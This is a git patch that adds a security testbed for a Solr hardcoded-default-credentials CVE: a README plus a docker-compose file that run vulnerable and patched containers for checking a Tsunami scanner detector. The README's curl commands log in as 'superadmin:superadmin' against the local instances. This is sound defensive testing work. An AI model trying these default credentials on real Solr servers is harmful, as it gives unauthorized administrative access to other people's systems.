From 7935addea7bdfee54b024f6093db6b7c8d043b75 Mon Sep 17 00:00:00 2001 From: DINESH YEDDALA Date: Fri, 9 Oct 2026 04:11:28 +0000 Subject: [PATCH] templated/CVE-2026-44825 --- apache/solr/CVE-2026-44825/README.md | 112 ++++++++++++++++++ apache/solr/CVE-2026-44825/docker-compose.yml | 44 +++++++ 2 files changed, 156 insertions(+) create mode 100644 apache/solr/CVE-2026-44825/README.md create mode 100644 apache/solr/CVE-2026-44825/docker-compose.yml diff --git a/apache/solr/CVE-2026-44825/README.md b/apache/solr/CVE-2026-44825/README.md new file mode 100644 index 00000000..141c9170 --- /dev/null +++ b/apache/solr/CVE-2026-44825/README.md @@ -0,0 +1,112 @@ +# Apache Solr - Hardcoded Default Credentials (CVE-2026-44825) + +## Overview + +Apache Solr versions `9.4.0` through `9.10.1` and `10.0.0` contain default Basic Authentication template users (`superadmin`, `admin`, `search`, `index` with default credentials equal to their usernames, such as `superadmin:superadmin`) created during `bin/solr auth enable`. This allows remote attackers to gain administrative access via hardcoded credentials. + +- **Vulnerability Type**: Hardcoded Default Credentials / Broken Authentication +- **Severity**: High +- **Vulnerable Versions**: `9.4.0` - `9.10.1`, `10.0.0` +- **Patched Versions**: `9.11.0`, `10.1.0` (or removing default template accounts) + +--- + +## Testbed Setup + +The testbed uses Docker Compose to deploy two instances: +- **Vulnerable instance (`solr_vulnerable_cve_2026_44825`)**: Solr `9.10.1` running on host port `9983`. Default template credentials (`superadmin:superadmin`) remain active. +- **Patched / Safe instance (`solr_patched_cve_2026_44825`)**: Solr `9.11.0` running on host port `9985`. Default template credentials are no longer active; only authorized credentials (`myuser:mypassword`) work. + +### Start the Testbed + +```bash +cd /usr/local/google/home/dyeddala/tsunami/security-testbeds/apache/solr/CVE-2026-44825 +docker compose up -d +``` + +### Stop the Testbed + +```bash +docker compose down +``` + +--- + +## Manual Verification + +### 1. Vulnerable Instance (Port 9983) + +#### Step 1: Verify protected endpoint requires authentication +```bash +curl -i -s "http://localhost:9983/solr/admin/cores?action=STATUS&wt=json" +``` +**Expected Response**: `HTTP/1.1 401 Unauthorized` + +#### Step 2: Verify default template credentials grant administrative access +```bash +curl -i -s -u "superadmin:superadmin" "http://localhost:9983/solr/admin/cores?action=STATUS&wt=json" +``` +**Expected Response**: `HTTP/1.1 200 OK` (Vulnerability verified) + +--- + +### 2. Patched Instance (Port 9985) + +#### Step 1: Verify default template credentials are rejected +```bash +curl -i -s -u "superadmin:superadmin" "http://localhost:9985/solr/admin/cores?action=STATUS&wt=json" +``` +**Expected Response**: `HTTP/1.1 401 Unauthorized` + +#### Step 2: Verify authorized credentials work +```bash +curl -i -s -u "myuser:mypassword" "http://localhost:9985/solr/admin/cores?action=STATUS&wt=json" +``` +**Expected Response**: `HTTP/1.1 200 OK` + +--- + +### 3. Automated Side-by-Side Verification + +```bash +for port in 9983 9985; do + echo "=== Testing Port $port ===" + echo -n " [No Auth] -> HTTP " + curl -s -o /dev/null -w "%{http_code}\n" "http://localhost:${port}/solr/admin/cores?action=STATUS&wt=json" + echo -n " [superadmin:superadmin] -> HTTP " + curl -s -o /dev/null -w "%{http_code}\n" -u "superadmin:superadmin" "http://localhost:${port}/solr/admin/cores?action=STATUS&wt=json" + echo -n " [myuser:mypassword] -> HTTP " + curl -s -o /dev/null -w "%{http_code}\n" -u "myuser:mypassword" "http://localhost:${port}/solr/admin/cores?action=STATUS&wt=json" +done +``` + +**Expected Output:** +```text +=== Testing Port 9983 === + [No Auth] -> HTTP 401 + [superadmin:superadmin] -> HTTP 200 + [myuser:mypassword] -> HTTP 401 +=== Testing Port 9985 === + [No Auth] -> HTTP 401 + [superadmin:superadmin] -> HTTP 401 + [myuser:mypassword] -> HTTP 200 +``` + +--- + +## Tsunami Scanner Verification + +1. Run the Tsunami scanner: + ```bash + cd /usr/local/google/home/dyeddala/tsunami + ./run_tsunami.sh + ``` + +2. When prompted: + - `--detectors-include`: `Apache_Solr_CVE_2026_44825` + - `--port-ranges-target`: `9983,9985` + +3. Verify results in `/tmp/tsunami-out.json`: + - Port `9983`: `VULNERABILITY_VERIFIED` (`CVE-2026-44825`) + - Port `9985`: Not flagged (patched) + diff --git a/apache/solr/CVE-2026-44825/docker-compose.yml b/apache/solr/CVE-2026-44825/docker-compose.yml new file mode 100644 index 00000000..b5aeffdb --- /dev/null +++ b/apache/solr/CVE-2026-44825/docker-compose.yml @@ -0,0 +1,44 @@ +version: '3.8' + +services: + # ========================================================================= + # VULNERABLE SERVICE (CVE-2026-44825) + # Uses Solr 9.10.1 mapped to Host Port 9983 + # Default template credentials (superadmin:superadmin, admin:admin, etc.) remain active + # ========================================================================= + solr-vulnerable: + image: solr:9.10.1 + container_name: solr_vulnerable_cve_2026_44825 + ports: + - "9983:8983" + environment: + - SOLR_JAVA_MEM=-Xms512m -Xmx512m + command: > + bash -c " + solr start -c -p 8983 && + while ! curl -s http://localhost:8983/solr/admin/info/system > /dev/null; do sleep 1; done && + solr auth enable --type basicAuth --credentials solr:SolrRocks --block-unknown true --prompt false && + tail -f /dev/null + " + restart: unless-stopped + + # ========================================================================= + # PATCHED / SAFE SERVICE + # Uses Solr 9.11.0 mapped to Host Port 9985 + # Default template credentials are no longer active in 9.11.0 + # ========================================================================= + solr-patched: + image: solr:9.11.0 + container_name: solr_patched_cve_2026_44825 + ports: + - "9985:8983" + environment: + - SOLR_JAVA_MEM=-Xms512m -Xmx512m + command: > + bash -c " + solr start -c -p 8983 && + while ! curl -s http://localhost:8983/solr/admin/info/system > /dev/null; do sleep 1; done && + solr auth enable --type basicAuth --credentials myuser:mypassword --block-unknown true --prompt false && + tail -f /dev/null + " + restart: unless-stopped